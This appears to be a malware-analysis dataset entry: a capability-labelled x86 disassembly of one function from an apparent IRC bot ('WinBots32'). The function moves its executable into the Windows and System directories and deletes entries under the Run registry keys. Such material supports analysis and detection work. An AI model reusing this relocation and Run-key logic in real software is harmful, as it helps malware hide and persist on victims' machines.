Function at 0x411b0c
Capabilities:
Create directory
Get common file path
Move file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6d8
push esi
push edi
and dword [ebp - 4], 0
mov esi, dword [ebp + 0xc]
push 0x67
pop ecx
lea edi, [ebp - 0x2b4]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x103
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx eax, word [ebp - 0x10c]
push eax
movzx eax, word [ebp - 0x10e]
push eax
movzx eax, word [ebp - 0x110]
push eax
movzx eax, word [ebp - 0x118]
push eax
movzx eax, word [ebp - 0x116]
push eax
movzx eax, word [ebp - 0x112]
push eax
lea eax, [ebp - 0x108]
push eax
push str._sWinBots32_d__d__d._d__d__d.bot
lea eax, [ebp - 0x3b8]
push eax
call fcn.0041ee40
add esp, 0x24
lea eax, [ebp - 0x108]
push eax
push str._sWinBots32
lea eax, [ebp - 0x5c0]
push eax
call fcn.0041ee40
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call fcn.0041ec40
pop ecx
mov ecx, 0x104
sub ecx, eax
dec ecx
push ecx
push 0x443f2c
lea eax, [ebp - 0x108]
push eax
call fcn.00422c50
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call fcn.0041ec40
pop ecx
mov ecx, 0x104
sub ecx, eax
dec ecx
push ecx
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call fcn.00422c50
add esp, 0xc
push 0
lea eax, [ebp - 0x5c0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x411c8e
movzx eax, byte [ebp - 0x1a8]
test eax, eax
jne 0x411c83
lea eax, [ebp - 0x3b8]
push eax
push 0x443f30
push 0x4e0198
call fcn.0041ee40
add esp, 0xc
push 0
push dword [ebp - 0x124]
push 0x4e0198
lea eax, [ebp - 0x1a7]
push eax
push dword [ebp - 0x1ac]
call fcn.0040bf6c
add esp, 0x14
mov eax, dword [0x4e029c]
inc eax
mov dword [0x4e029c], eax
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x103
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
push eax
call fcn.0041ec40
pop ecx
mov ecx, 0x104
sub ecx, eax
dec ecx
push ecx
push 0x443f50
lea eax, [ebp - 0x108]
push eax
call fcn.00422c50
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call fcn.0041ec40
pop ecx
mov ecx, 0x104
sub ecx, eax
dec ecx
push ecx
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call fcn.00422c50
add esp, 0xc
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x411d71
movzx eax, byte [ebp - 0x1a8]
test eax, eax
jne 0x411d66
lea eax, [ebp - 0x3b8]
push eax
push str.Bot_EXE_has_been_moved_to___s_.
push 0x4e0198
call fcn.0041ee40
add esp, 0xc
push 0
push dword [ebp - 0x124]
push 0x4e0198
lea eax, [ebp - 0x1a7]
push eax
push dword [ebp - 0x1ac]
call fcn.0040bf6c
add esp, 0x14
mov eax, dword [0x4e029c]
inc eax
mov dword [0x4e029c], eax
and dword [ebp - 0x5c4], 0
jmp 0x411d87
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 2
jge 0x411ee4
cmp dword [ebp - 0x5c4], 0
jne 0x411da9
mov dword [ebp - 0x6d4], 0x80000001
jmp 0x411db3
mov dword [ebp - 0x6d4], 0x80000002
lea eax, [ebp - 0x5d0]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push dword [ebp - 0x6d4]
call dword [0x4e3594]
test eax, eax
jne 0x411edf
and dword [ebp - 0x6d8], 0
mov dword [ebp - 0x4bc], 0xff
mov dword [ebp - 0x5cc], 0xff
lea eax, [ebp - 0x5cc]
push eax
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x5c8]
push eax
push 0
lea eax, [ebp - 0x4bc]
push eax
lea eax, [ebp - 0x4b8]
push eax
push dword [ebp - 0x6d8]
push dword [ebp - 0x5d0]
call dword [0x4e3454]
test eax, eax
jne 0x411edf
cmp dword [ebp - 0x5c8], 1
jne 0x411eb9
push dword [ebp + 8]
lea eax, [ebp - 0x6d0]
push eax
call fcn.00411485
pop ecx
pop ecx
test eax, eax
je 0x411eb9
lea eax, [ebp - 0x4b8]
push eax
push dword [ebp - 0x5d0]
call dword [0x4e349c]
test eax, eax
jne 0x411eb9
movzx eax, byte [ebp - 0x1a8]
test eax, eax
jne 0x411eb2
lea eax, [ebp - 0x4b8]
push eax
push dword [ebp + 8]
push str.__s_______s_____Has_been_deleted_successfully.
push 0x4e0198
call fcn.0041ee40
add esp, 0x10
push 0
push dword [ebp - 0x124]
push 0x4e0198
lea eax, [ebp - 0x1a7]
push eax
push dword [ebp - 0x1ac]
call fcn.0040bf6c
add esp, 0x14
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x4bc], 0xff
mov dword [ebp - 0x5cc], 0xff
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
jmp 0x411df5
jmp 0x411d7a
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret